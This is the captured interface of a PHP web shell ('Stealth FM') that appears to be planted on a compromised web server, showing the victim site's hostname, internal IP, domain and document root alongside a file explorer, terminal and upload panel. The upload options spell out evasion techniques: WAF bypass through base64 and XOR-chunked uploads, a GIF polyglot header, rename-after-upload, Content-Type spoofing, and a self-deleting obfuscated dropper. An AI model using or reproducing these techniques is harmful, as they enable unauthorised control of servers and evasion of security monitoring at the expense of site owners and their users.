HackerSec.ID - Mr.Spongebob Stealth FM

Hostname: macchiato
Operating System: Linux macchiato 5.4.0-1009-aws #9-Ubuntu SMP Sun Apr 12 19:46:01 UTC 2020 x86_64
PHP Version: 7.2.34-52+ubuntu20.04.1+deb.sury.org+1
Server IP: 172.31.12.7
Server Domain: sunvending.co.th
Server Software: nginx/1.20.1
Document Root: /home/forge/sunvending.cloud.21impact.com/public

FILE EXPLORER

Current Directory: /home/forge/sunvending.cloud.21impact.com/config

Name

Type

Size

Last Modified

Perms

Actions

TERMINAL

UPLOAD

Write Method

Best (Base64 Encoded)

Chunk Method

WAF Bypass for large files

Direct Method

Fast Upload (may be blocked)

Payload Encoding:

Obfuscates content to bypass WAF signature. Note: May alter final file bytes if not reversable on server.

Chunk Encoding:

Encrypts each chunk with XOR. Note: May alter final file bytes if not reversable on server.

XOR Key:

Used for XOR encryption. Keep it consistent for all chunks.

Add GIF Header (Polyglot)

Prepends 'GIF89a;' to make the file appear as an image. This MODIFIES the file's starting bytes.

Temporary Filename:

Rename to original after upload

Uploads with this name to bypass WAF, then renames (if checked).

Spoof Content-Type (HTTP Header):

Changes the Content-Type header sent during upload. Leave empty for default.

Uploads a small, obfuscated PHP script that drops the full shell and self-destructs.